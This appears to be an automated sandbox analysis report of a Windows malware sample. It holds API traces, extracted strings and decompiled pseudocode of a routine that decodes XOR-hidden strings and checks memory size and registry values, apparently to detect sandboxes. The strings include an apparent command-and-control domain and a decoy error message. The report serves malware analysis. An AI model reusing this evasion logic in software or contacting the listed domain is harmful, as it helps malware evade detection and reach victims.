Part of subcall function 0040DD20: RegQueryValueExW.KERNEL32(?,00000000,00000000,00000000,?,00000200), ref: 0040E471
Part of subcall function 0040DD20: StrStrIW.SHLWAPI(?,00000000), ref: 0040E4CD
Part of subcall function 0040DD20: Sleep.KERNEL32(00002710), ref: 0040E4DC
Part of subcall function 0040DD20: RegCloseKey.ADVAPI32(?), ref: 0040E4EB
Part of subcall function 0040DD20: Sleep.KERNEL32(00002710), ref: 0040E518

Part of subcall function 00404E60: GetModuleHandleA.KERNELBASE(00000000,0000000C), ref: 00404F5B
Part of subcall function 00404E60: GetModuleHandleA.KERNELBASE(00000000,0000000C), ref: 00405054
Part of subcall function 00404E60: GetUserNameA.ADVAPI32(Version 70.20.49.01.0C ,00000400), ref: 00405079
Part of subcall function 00404E60: lstrcmpA.KERNEL32(Version 70.20.49.01.0C ,00000000,0000000C), ref: 00405177
Part of subcall function 00404E60: lstrcmpA.KERNEL32(Version 70.20.49.01.0C ,00000000,00000008), ref: 00405259
Part of subcall function 00404E60: GetComputerNameA.KERNEL32(Version 70.20.49.01.0C ,00000400), ref: 0040536D
Part of subcall function 00404E60: lstrcmpA.KERNEL32(Version 70.20.49.01.0C ,00000000,00000008,00000024), ref: 00405557
Part of subcall function 00404E60: lstrcmpA.KERNEL32(Version 70.20.49.01.0C ,00000000,00000008), ref: 00405639
Part of subcall function 00404E60: StrStrA.SHLWAPI(Version 70.20.49.01.0C ,00000004), ref: 00405F5B
Part of subcall function 00404E60: StrStrA.SHLWAPI(Version 70.20.49.01.0C ,00000000), ref: 00406188
Part of subcall function 00404E60: StrStrA.SHLWAPI(Version 70.20.49.01.0C ,00000000), ref: 004064B6
Part of subcall function 00404E60: StrStrA.SHLWAPI(Version 70.20.49.01.0C ,00000000), ref: 00406608
Part of subcall function 00404E60: StrStrA.SHLWAPI(Version 70.20.49.01.0C ,00000000), ref: 00406753

Strings

>, xrefs: 0040F63B
#, xrefs: 0040EF63
s, xrefs: 0040EF32
m, xrefs: 0040EFA9
-, xrefs: 0040F20C
w, xrefs: 0040F396
m, xrefs: 0040EF7F
=, xrefs: 0040F37A
d, xrefs: 0040EC9B
Qkyb9W, xrefs: 0040F61F
S, xrefs: 0040F0EB
d, xrefs: 0040EC55
, xrefs: 0040F681
M, xrefs: 0040ECC5
?, xrefs: 0040EE11
!, xrefs: 0040F65E
%, xrefs: 0040F75B
5, xrefs: 0040ECB0
8, xrefs: 0040EC71
v, xrefs: 0040F082
1, xrefs: 0040F04A
t, xrefs: 0040F02E
=, xrefs: 0040F738
6, xrefs: 0040F2DF
8, xrefs: 0040F2E6
', xrefs: 0040F56B
%, xrefs: 0040F0DD
6, xrefs: 0040EC78
K, xrefs: 0040EF78
C, xrefs: 0040F13B
), xrefs: 0040F7AF
4, xrefs: 0040F2C3
?, xrefs: 0040F77E
V, xrefs: 0040F688
S, xrefs: 0040EC63
#, xrefs: 0040EF8D
B, xrefs: 0040F6C0
_, xrefs: 0040EF39
x, xrefs: 0040EFB0
u, xrefs: 0040EFE8
8dMSp, xrefs: 0040ED30
S, xrefs: 0040ECA9
u, xrefs: 0040F03C
v, xrefs: 0040EFDA
%, xrefs: 0040F58E
v, xrefs: 0040F7C4
2, xrefs: 0040F657
c, xrefs: 0040F2FB
h, xrefs: 0040F0C1
V, xrefs: 0040F587
_, xrefs: 0040F05F
3, xrefs: 0040F09E
L, xrefs: 0040F00B
S9urB, xrefs: 0040F71F
X, xrefs: 0040F642
", xrefs: 0040F205
&, xrefs: 0040F785
/, xrefs: 0040F769
W, xrefs: 0040EE34
l6rGT, xrefs: 0040EED9
h, xrefs: 0040F019
p, xrefs: 0040EC8D
m, xrefs: 0040F051
5, xrefs: 0040EC6A
M, xrefs: 0040EC7F
Z, xrefs: 0040EE1F
W, xrefs: 0040EE57
Y, xrefs: 0040F074
?, xrefs: 0040F020
y, xrefs: 0040EC94
d, xrefs: 0040ECBE
svchost.exe, xrefs: 0040F88C
8, xrefs: 0040ECB7
/, xrefs: 0040F1DB
VigMM, xrefs: 0040F4AD
_, xrefs: 0040EFE1
MP3 file corrupted, xrefs: 0040EB30
+, xrefs: 0040F1E9
UlmcS, xrefs: 0040F35A
g, xrefs: 0040F0E4
>, xrefs: 0040EE65
), xrefs: 0040F381
m, xrefs: 0040F0CF
reJFX, xrefs: 0040F287
), xrefs: 0040F793
SpV7dN, xrefs: 0040F160
-, xrefs: 0040F035
B, xrefs: 0040F388
<, xrefs: 0040EE42
sg, xrefs: 0040F49D, 0040F4B4
g, xrefs: 0040EF94
4, xrefs: 0040EFA2
&, xrefs: 0040F2A0
#, xrefs: 0040F7BD
?, xrefs: 0040F78C
R, xrefs: 0040F373
o, xrefs: 0040EE50
h, xrefs: 0040EF71
J, xrefs: 0040EF24
oFvvZH, xrefs: 0040F839
9FSP8, xrefs: 0040F552
~, xrefs: 0040F07B
}, xrefs: 0040EE73
0, xrefs: 0040F69D
m, xrefs: 0040EC4E
K, xrefs: 0040EFCC
b, xrefs: 0040F5AA
V, xrefs: 0040F665
M4&58, xrefs: 0040F542, 0040F559
_, xrefs: 0040F089
#, xrefs: 0040F762
3, xrefs: 0040EF4E
wNvgs, xrefs: 0040F3F5
P, xrefs: 0040F6AB
u, xrefs: 0040F0D6
1, xrefs: 0040F67A
5, xrefs: 0040F754
', xrefs: 0040F73F
h, xrefs: 0040EFEF
{, xrefs: 0040EF9B
/, xrefs: 0040F1FE
#, xrefs: 0040F0B3
l, xrefs: 0040EE7A
K, xrefs: 0040F0C8
!, xrefs: 0040F6A4
F, xrefs: 0040F228
-, xrefs: 0040EFB7
pin.kmsconsultantsllc.com, xrefs: 0040EB97, 0040EBAB, 0040EBC8
u, xrefs: 0040EF86
7, xrefs: 0040F2BC
8, xrefs: 0040F221
~, xrefs: 0040EF2B
1, xrefs: 0040EFF6

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Handle$Create$EnvironmentModuleThreadVariable$Alloc$AddressCloseFreeNameProclstrcmp$CurrentGlobalLibraryLoadSleepStringToken$ComputerConvertDescriptorErrorEventInfoInformationLastOpenProtectSecuritySystemUserVirtualwsprintf$CountDebugLocalMemoryNativeOutputQueryStartupStatusTickValueVersionbindclosesockethtonsinet_addrlstrcatlstrcpylstrlensocket
String ID: $!$!$"$#$#$#$#$#$%$%$%$&$&$'$'$)$)$)$+$-$-$-$/$/$/$0$1$1$1$2$3$3$4$4$5$5$5$6$6$7$8$8$8$8$8dMSp$9FSP8$<$=$=$>$>$?$?$?$?$B$B$C$F$J$K$K$K$L$M$M$M4&58$MP3 file corrupted$P$Qkyb9W$R$S$S$S$S9urB$SpV7dN$UlmcS$V$V$V$VigMM$W$W$X$Y$Z$_$_$_$_$b$c$d$d$d$g$g$h$h$h$h$l$l6rGT$m$m$m$m$m$o$oFvvZH$p$pin.kmsconsultantsllc.com$reJFX$s$sg$svchost.exe$t$u$u$u$u$v$v$v$w$wNvgs$x$y${$}$~$~
API String ID: 95620569-2290681723
Opcode ID: 8086a77fa79a4d2231c0fa942bf6e9a34195abe803bc663f2c06e95f1a7fe082
Instruction ID: 36398132c79669a9d4864b4b6384aa9e8a66bc65eb1a862236fe1627dd0d36b3
Opcode Fuzzy Hash: 8086a77fa79a4d2231c0fa942bf6e9a34195abe803bc663f2c06e95f1a7fe082
Instruction Fuzzy Hash: E5A222309082D8DAEB21C768CC597DEBFB16B16308F1440E9D5497B2C2C7B91B89DF66

Function 0040DD20, Relevance: 270.0, APIs: 11, Strings: 143, Instructions: 454
registrysleeplibrary

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E0040DD20(void* __eflags) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr* _v28;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				short _v254;
				char _v260;
				char _v264;
				char _v268;
				char _v272;
				char _v276;
				signed int _v280;
				void* _v284;
				int _v288;
				signed int _v292;
				signed int _v296;
				struct _MEMORYSTATUSEX _v360;
				struct _SYSTEM_INFO _v396;
				short _v1420;
				CHAR* _t342;
				struct HINSTANCE__* _t344;
				_Unknown_base(*)()* _t345;
				signed int _t349;
				WCHAR* _t363;
				signed int _t370;
				signed int _t433;
				signed int _t444;
				signed int _t446;
				signed int _t449;
				signed int _t456;
				void* _t476;

				_v288 = 0x200;
				memset( &_v1420, 0, 0x400 << 0);
				memset( &_v360, 0, 0x40 << 0);
				memset( &_v396, 0, 0x24 << 0);
				_v96 = 0x28;
				_v95 = 0x26;
				_v94 = 0x10;
				_v93 = 5;
				_v92 = 0x31;
				_v91 = 0x15;
				_v90 = 0x70;
				_v89 = 0x71;
				_v88 = 0x4c;
				_v87 = 0xf;
				_v86 = 0x38;
				_v85 = 0x15;
				_v84 = 0x43;
				_v60 = 0x43;
				_v59 = 0x43;
				_v58 = 0x62;
				_v57 = 0x6b;
				_v56 = 0x54;
				_v55 = 0x79;
				E00402B00( &_v276, 0xd);
				_v8 = 0;
				while(_v8 < 0xd) {
					if(1 != 0) {
						asm("cdq");
						_t41 = _v8 % 6 - 0x38; // 0x43
						E00402AE0( &_v276, _v8,  *(_t476 + _v8 - 0x5c) & 0x000000ff ^  *(_t476 + _t41) & 0x000000ff);
					}
					_v8 = _v8 + 1;
				}
				_v116 = 0x32;
				_v115 = 0x30;
				_v114 = 0x35;
				_v113 = 0x18;
				_v112 = 0x12;
				_v111 = 1;
				_v110 = 0x3c;
				_v109 = 0x37;
				_v108 = 0x33;
				_v107 = 0x20;
				_v106 = 0xc;
				_v105 = 0x26;
				_v104 = 0x35;
				_v103 = 0x33;
				_v102 = 0x1e;
				_v101 = 0x3c;
				_v100 = 0x3b;
				_v99 = 0x27;
				_v98 = 0x39;
				_v97 = 0x73;
				_v36 = 0x75;
				_v35 = 0x55;
				_v34 = 0x41;
				_v33 = 0x56;
				_v32 = 0x73;
				E00402B00( &_v272, 0x14);
				_v12 = 0;
				while(1) {
					__eflags = _v12 - 0x14;
					if(_v12 >= 0x14) {
						break;
					}
					__eflags = 1;
					if(1 != 0) {
						asm("cdq");
						_t83 = _v12 % 5 - 0x20; // 0x75
						__eflags =  *(_t476 + _v12 - 0x70) & 0x000000ff ^  *(_t476 + _t83) & 0x000000ff;
						E00402AE0( &_v272, _v12,  *(_t476 + _v12 - 0x70) & 0x000000ff ^  *(_t476 + _t83) & 0x000000ff);
					}
					_t433 = _v12 + 1;
					__eflags = _t433;
					_v12 = _t433;
				}
				_t342 = E00402AD0( &_v272);
				_t344 = GetModuleHandleA(E00402AD0( &_v276)); // executed
				_t345 = GetProcAddress(_t344, _t342); // executed
				_v280 = _t345;
				_v360.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v360); // executed
				_v252 = 5;
				_v251 = 0x79;
				_v250 = 0x19;
				_v249 = 0x5a;
				_v248 = 0x45;
				_v247 = 0x4d;
				_v246 = 0x1d;
				_v245 = 0x78;
				_v244 = 0x2d;
				_v243 = 0x37;
				_v242 = 0x2c;
				_v241 = 0x79;
				_v240 = 0xa;
				_v239 = 0x5a;
				_v238 = 0x52;
				_v237 = 0x4d;
				_v236 = 0x25;
				_v235 = 0x78;
				_v234 = 0x1e;
				_v233 = 0x37;
				_v232 = 8;
				_v231 = 0x79;
				_v230 = 0x2b;
				_v229 = 0x5a;
				_v228 = 0x74;
				_v227 = 0x4d;
				_v226 = 0x2b;
				_v225 = 0x78;
				_v224 = 0x13;
				_v223 = 0x37;
				_v222 = 0x1d;
				_v221 = 0x79;
				_v220 = 0x2c;
				_v219 = 0x5a;
				_v218 = 0x7e;
				_v217 = 0x4d;
				_v216 = 0x36;
				_v215 = 0x78;
				_v214 = 0x14;
				_v213 = 0x37;
				_v212 = 0x11;
				_v211 = 0x79;
				_v210 = 0x2b;
				_v209 = 0x5a;
				_v208 = 0x4e;
				_v207 = 0x4d;
				_v206 = 0xa;
				_v205 = 0x78;
				_v204 = 0x2e;
				_v203 = 0x37;
				_v202 = 0x28;
				_v201 = 0x79;
				_v200 = 0x15;
				_v199 = 0x5a;
				_v198 = 0x6b;
				_v197 = 0x4d;
				_v196 = 0x3a;
				_v195 = 0x78;
				_v194 = 0x3f;
				_v193 = 0x37;
				_v192 = 0x23;
				_v191 = 0x79;
				_v190 = 0xc;
				_v189 = 0x5a;
				_v188 = 0x45;
				_v187 = 0x4d;
				_v186 = 0x18;
				_v185 = 0x78;
				_v184 = 0x36;
				_v183 = 0x37;
				_v182 = 0x1d;
				_v181 = 0x79;
				_v180 = 0xa;
				_v179 = 0x5a;
				_v178 = 0x58;
				_v177 = 0x4d;
				_v176 = 0x1a;
				_v175 = 0x78;
				_v174 = 0x3f;
				_v173 = 0x37;
				_v172 = 0x3e;
				_v171 = 0x79;
				_v170 = 0xb;
				_v169 = 0x5a;
				_v168 = 0x58;
				_v167 = 0x4d;
				_v166 = 0xb;
				_v165 = 0x78;
				_v164 = 6;
				_v163 = 0x37;
				_v162 = 0x7d;
				_v161 = 0x79;
				_v160 = 0x78;
				_v159 = 0x5a;
				_v44 = 0x4d;
				_v43 = 0x79;
				_v42 = 0x78;
				_v41 = 0x5a;
				_v40 = 0x37;
				E00402B00( &_v268, 0xbc);
				_v16 = 0;
				while(1) {
					__eflags = _v16 - 0x5e;
					if(_v16 >= 0x5e) {
						break;
					}
					__eflags = 1;
					if(1 != 0) {
						asm("cdq");
						_t204 = _v16 % 5 - 0x28; // 0x4d
						__eflags =  *(_t476 + _v16 - 0xf8) & 0x000000ff ^  *(_t476 + _t204) & 0x000000ff;
						E00402AE0( &_v268, _v16,  *(_t476 + _v16 - 0xf8) & 0x000000ff ^  *(_t476 + _t204) & 0x000000ff);
					}
					_t456 = _v16 + 1;
					__eflags = _t456;
					_v16 = _t456;
				}
				__eflags = _v280;
				if(_v280 == 0) {
					GetSystemInfo( &_v396);
				} else {
					_v280( &_v396);
				}
				_v80 = 0x6f;
				_v79 = 0x78;
				_v78 = 0x35;
				_v77 = 0x66;
				_v76 = 0x29;
				_v75 = 0x37;
				_v74 = 0x16;
				_v73 = 0x50;
				_v72 = 0x66;
				_v71 = 0x46;
				_v52 = 0x37;
				_v51 = 0x78;
				_v50 = 0x50;
				_v49 = 0x66;
				_v48 = 0x46;
				E00402B00( &_v264, 0x14);
				_v20 = 0;
				while(1) {
					__eflags = _v20 - 0xa;
					if(_v20 >= 0xa) {
						break;
					}
					__eflags = 1;
					if(1 != 0) {
						asm("cdq");
						_t240 = _v20 % 5 - 0x30; // 0x37
						__eflags =  *(_t476 + _v20 - 0x4c) & 0x000000ff ^  *(_t476 + _t240) & 0x000000ff;
						E00402AE0( &_v264, _v20,  *(_t476 + _v20 - 0x4c) & 0x000000ff ^  *(_t476 + _t240) & 0x000000ff);
					}
					_t370 = _v20 + 1;
					__eflags = _t370;
					_v20 = _t370;
				}
				_t349 = RegOpenKeyW(0x80000002, E00402AD0( &_v268),  &_v284); // executed
				__eflags = _t349;
				if(_t349 == 0) {
					_v156 = 0x3b;
					_v155 = 0x41;
					_v154 = 0x22;
					_v153 = 0x37;
					_v152 = 7;
					_v151 = 0x71;
					_v150 = 8;
					_v149 = 0x41;
					_v148 = 0x35;
					_v147 = 0x37;
					_v146 = 0x1b;
					_v145 = 0x71;
					_v144 = 0x18;
					_v143 = 0x41;
					_v142 = 0x3f;
					_v141 = 0x37;
					_v140 = 0x1a;
					_v139 = 0x71;
					_v138 = 0x25;
					_v137 = 0x41;
					_v136 = 0x31;
					_v135 = 0x37;
					_v134 = 5;
					_v133 = 0x71;
					_v132 = 0xe;
					_v131 = 0x41;
					_v130 = 3;
					_v129 = 0x37;
					_v128 = 0x1c;
					_v127 = 0x71;
					_v126 = 0x19;
					_v125 = 0x41;
					_v124 = 0x39;
					_v123 = 0x37;
					_v122 = 6;
					_v121 = 0x71;
					_v120 = 0xc;
					_v119 = 0x41;
					_v118 = 0x50;
					_v117 = 0x37;
					_v68 = 0x6b;
					_v67 = 0x41;
					_v66 = 0x50;
					_v65 = 0x37;
					_v64 = 0x68;
					_v63 = 0x71;
					E00402B00( &_v260, 0x50);
					_v24 = 0;
					while(1) {
						__eflags = _v24 - 0x28;
						if(_v24 >= 0x28) {
							break;
						}
						__eflags = 1;
						if(1 != 0) {
							asm("cdq");
							_t305 = _v24 % 6 - 0x40; // 0x6b
							__eflags =  *(_t476 + _v24 - 0x98) & 0x000000ff ^  *(_t476 + _t305) & 0x000000ff;
							E00402AE0( &_v260, _v24,  *(_t476 + _v24 - 0x98) & 0x000000ff ^  *(_t476 + _t305) & 0x000000ff);
						}
						_t449 = _v24 + 1;
						__eflags = _t449;
						_v24 = _t449;
					}
					RegQueryValueExW(_v284, E00402AD0( &_v260), 0, 0,  &_v1420,  &_v288); // executed
					_v28 =  &_v1420;
					_t444 = _v28 + 2;
					__eflags = _t444;
					_v292 = _t444;
					do {
						_v254 =  *_v28;
						_v28 = _v28 + 2;
						__eflags = _v254;
					} while (_v254 != 0);
					_t446 = _v28 - _v292;
					__eflags = _t446;
					_v296 = _t446 >> 1;
					if(_t446 != 0) {
						while(1) {
							_t363 = StrStrIW( &_v1420, E00402AD0( &_v264)); // executed
							__eflags = _t363;
							if(_t363 == 0) {
								goto L39;
							}
							Sleep(0x2710);
						}
					}
					L39:
					RegCloseKey(_v284);
					E00402B30( &_v260);
					while(1) {
						L40:
						__eflags = _v360.ullAvailPhys;
						if(__eflags > 0) {
							break;
						}
						if(__eflags < 0) {
							L43:
							Sleep(0x2710);
							continue;
						} else {
							__eflags = _v360.ullTotalPhys - 0x7d2b7500;
							if(_v360.ullTotalPhys < 0x7d2b7500) {
								goto L43;
							}
						}
						break;
					}
					E00402B30( &_v264);
					E00402B30( &_v268);
					E00402B30( &_v272);
					return E00402B30( &_v276);
				}
				goto L40;
			}

0x0040dd2b
0x0040dd42
0x0040dd51
0x0040dd60
0x0040dd62
0x0040dd66
0x0040dd6a
0x0040dd6e
0x0040dd72
0x0040dd76
0x0040dd7a
0x0040dd7e
0x0040dd82
0x0040dd86
0x0040dd8a
0x0040dd8e
0x0040dd92
0x0040dd96
0x0040dd9a
0x0040dd9e
0x0040dda2
0x0040dda6
0x0040ddaa
0x0040ddb6
0x0040ddbb
0x0040ddcd
0x0040ddda
0x0040dde7
0x0040ddef
0x0040de01
0x0040de01
0x0040ddca
0x0040ddca
0x0040de08
0x0040de0c
0x0040de10
0x0040de14
0x0040de18
0x0040de1c
0x0040de20
0x0040de24
0x0040de28
0x0040de2c
0x0040de30
0x0040de34
0x0040de38
0x0040de3c
0x0040de40
0x0040de44
0x0040de48
0x0040de4c
0x0040de50
0x0040de54
0x0040de58
0x0040de5c
0x0040de60
0x0040de64
0x0040de68
0x0040de74
0x0040de79
0x0040de8b
0x0040de8b
0x0040de8f
0x00000000
0x00000000
0x0040de96
0x0040de98
0x0040dea5
0x0040dead
0x0040deb2
0x0040debf
0x0040debf
0x0040de85
0x0040de85
0x0040de88
0x0040de88
0x0040decc
0x0040dede
0x0040dee5
0x0040deeb
0x0040def1
0x0040df02
0x0040df08
0x0040df0f
0x0040df16
0x0040df1d
0x0040df24
0x0040df2b
0x0040df32
0x0040df39
0x0040df40
0x0040df47
0x0040df4e
0x0040df55
0x0040df5c
0x0040df63
0x0040df6a
0x0040df71
0x0040df78
0x0040df7f
0x0040df86
0x0040df8d
0x0040df94
0x0040df9b
0x0040dfa2
0x0040dfa9
0x0040dfb0
0x0040dfb7
0x0040dfbe
0x0040dfc5
0x0040dfcc
0x0040dfd3
0x0040dfda
0x0040dfe1
0x0040dfe8
0x0040dfef
0x0040dff6
0x0040dffd
0x0040e004
0x0040e00b
0x0040e012
0x0040e019
0x0040e020
0x0040e027
0x0040e02e
0x0040e035
0x0040e03c
0x0040e043
0x0040e04a
0x0040e051
0x0040e058
0x0040e05f
0x0040e066
0x0040e06d
0x0040e074
0x0040e07b
0x0040e082
0x0040e089
0x0040e090
0x0040e097
0x0040e09e
0x0040e0a5
0x0040e0ac
0x0040e0b3
0x0040e0ba
0x0040e0c1
0x0040e0c8
0x0040e0cf
0x0040e0d6
0x0040e0dd
0x0040e0e4
0x0040e0eb
0x0040e0f2
0x0040e0f9
0x0040e100
0x0040e107
0x0040e10e
0x0040e115
0x0040e11c
0x0040e123
0x0040e12a
0x0040e131
0x0040e138
0x0040e13f
0x0040e146
0x0040e14d
0x0040e154
0x0040e15b
0x0040e162
0x0040e169
0x0040e170
0x0040e177
0x0040e17e
0x0040e185
0x0040e18c
0x0040e193
0x0040e19a
0x0040e19e
0x0040e1a2
0x0040e1a6
0x0040e1aa
0x0040e1b9
0x0040e1be
0x0040e1d0
0x0040e1d0
0x0040e1d4
0x00000000
0x00000000
0x0040e1db
0x0040e1dd
0x0040e1ed
0x0040e1f5
0x0040e1fa
0x0040e207
0x0040e207
0x0040e1ca
0x0040e1ca
0x0040e1cd
0x0040e1cd
0x0040e20e
0x0040e215
0x0040e22d
0x0040e217
0x0040e21e
0x0040e21e
0x0040e233
0x0040e237
0x0040e23b
0x0040e23f
0x0040e243
0x0040e247
0x0040e24b
0x0040e24f
0x0040e253
0x0040e257
0x0040e25b
0x0040e25f
0x0040e263
0x0040e267
0x0040e26b
0x0040e277
0x0040e27c
0x0040e28e
0x0040e28e
0x0040e292
0x00000000
0x00000000
0x0040e299
0x0040e29b
0x0040e2a8
0x0040e2b0
0x0040e2b5
0x0040e2c2
0x0040e2c2
0x0040e288
0x0040e288
0x0040e28b
0x0040e28b
0x0040e2e1
0x0040e2e7
0x0040e2e9
0x0040e2ef
0x0040e2f6
0x0040e2fd
0x0040e304
0x0040e30b
0x0040e312
0x0040e319
0x0040e320
0x0040e327
0x0040e32e
0x0040e335
0x0040e33c
0x0040e343
0x0040e34a
0x0040e351
0x0040e358
0x0040e35f
0x0040e366
0x0040e36d
0x0040e374
0x0040e37b
0x0040e382
0x0040e389
0x0040e390
0x0040e397
0x0040e39b
0x0040e39f
0x0040e3a3
0x0040e3a7
0x0040e3ab
0x0040e3af
0x0040e3b3
0x0040e3b7
0x0040e3bb
0x0040e3bf
0x0040e3c3
0x0040e3c7
0x0040e3cb
0x0040e3cf
0x0040e3d3
0x0040e3d7
0x0040e3db
0x0040e3df
0x0040e3e3
0x0040e3e7
0x0040e3eb
0x0040e3f7
0x0040e3fc
0x0040e40e
0x0040e40e
0x0040e412
0x00000000
0x00000000
0x0040e419
0x0040e41b
0x0040e42b
0x0040e433
0x0040e438
0x0040e445
0x0040e445
0x0040e408
0x0040e408
0x0040e40b
0x0040e40b
0x0040e471
0x0040e47d
0x0040e483
0x0040e483
0x0040e486
0x0040e48c
0x0040e492
0x0040e499
0x0040e49d
0x0040e49d
0x0040e4aa
0x0040e4aa
0x0040e4b2
0x0040e4b8
0x0040e4ba
0x0040e4cd
0x0040e4d3
0x0040e4d5
0x00000000
0x00000000
0x0040e4dc
0x0040e4dc
0x0040e4ba
0x0040e4e4
0x0040e4eb
0x0040e4f7
0x0040e4fc
0x0040e4fc
0x0040e4fc
0x0040e503
0x00000000
0x00000000
0x0040e505
0x0040e513
0x0040e518
0x00000000
0x0040e507
0x0040e507
0x0040e511
0x00000000
0x00000000
0x0040e511
0x00000000
0x0040e505
0x0040e526
0x0040e531
0x0040e53c
0x0040e551
0x0040e551
0x00000000

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetModuleHandleA.KERNELBASE(00000000,00000000,00000014,0000000D), ref: 0040DEDE
GetProcAddress.KERNELBASE(00000000), ref: 0040DEE5
GlobalMemoryStatusEx.KERNELBASE(00000040), ref: 0040DF02
GetNativeSystemInfo.KERNEL32(?,000000BC), ref: 0040E21E
GetSystemInfo.KERNEL32(?,000000BC), ref: 0040E22D
RegOpenKeyW.ADVAPI32(80000002,00000000,?), ref: 0040E2E1
RegQueryValueExW.KERNEL32(?,00000000,00000000,00000000,?,00000200), ref: 0040E471
StrStrIW.SHLWAPI(?,00000000), ref: 0040E4CD
Sleep.KERNEL32(00002710), ref: 0040E4DC
RegCloseKey.ADVAPI32(?), ref: 0040E4EB
Sleep.KERNEL32(00002710), ref: 0040E518

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

), xrefs: 0040E243
7, xrefs: 0040E177
#, xrefs: 0040E0AC
;, xrefs: 0040DE48
kAP7hq, xrefs: 0040E433
&, xrefs: 0040DE34
X, xrefs: 0040E154
M, xrefs: 0040DF2B
x, xrefs: 0040E123
7, xrefs: 0040DF8D
A, xrefs: 0040E3B3
M, xrefs: 0040DFB7
~, xrefs: 0040DFF6
2, xrefs: 0040DE08
M, xrefs: 0040E115
?, xrefs: 0040E09E
7xPfF, xrefs: 0040E2B0
o, xrefs: 0040E233
Z, xrefs: 0040DF63
p, xrefs: 0040DD7A
q, xrefs: 0040E366
x, xrefs: 0040E18C
:, xrefs: 0040E090
A, xrefs: 0040E34A
&, xrefs: 0040DD66
7, xrefs: 0040DFD3
1, xrefs: 0040DD72
Z, xrefs: 0040E035
y, xrefs: 0040E0F9
7, xrefs: 0040E131
", xrefs: 0040E2FD
F, xrefs: 0040E257
5, xrefs: 0040E327
f, xrefs: 0040E23F
M, xrefs: 0040DFFD
0, xrefs: 0040DE0C
?, xrefs: 0040E12A
uUAVs, xrefs: 0040DEAD
', xrefs: 0040DE4C
5, xrefs: 0040DE38
9, xrefs: 0040E3B7
^, xrefs: 0040E1D0
A, xrefs: 0040E320
A, xrefs: 0040E3CB
A, xrefs: 0040E374
k, xrefs: 0040E082
y, xrefs: 0040DF9B
Z, xrefs: 0040E107
@, xrefs: 0040DEF1
e@, xrefs: 0040E1FD, 0040E1EA, 0040E1DF, 0040E1C7
3, xrefs: 0040DE28
f, xrefs: 0040E253
y, xrefs: 0040E06D
X, xrefs: 0040E10E
;, xrefs: 0040E2EF
x, xrefs: 0040E0DD
?, xrefs: 0040E351
x, xrefs: 0040DF7F
R, xrefs: 0040DF6A
, xrefs: 0040DE2C
s, xrefs: 0040DE54
t, xrefs: 0040DFB0
q, xrefs: 0040E312
x, xrefs: 0040DF39
7, xrefs: 0040E019
L, xrefs: 0040DD82
1, xrefs: 0040E37B
>, xrefs: 0040E138
x, xrefs: 0040E097
A, xrefs: 0040E39B
6, xrefs: 0040E004
+, xrefs: 0040DFBE
7, xrefs: 0040E247
Z, xrefs: 0040DFA9
7, xrefs: 0040E32E
%, xrefs: 0040DF78
y, xrefs: 0040E185
x, xrefs: 0040E00B
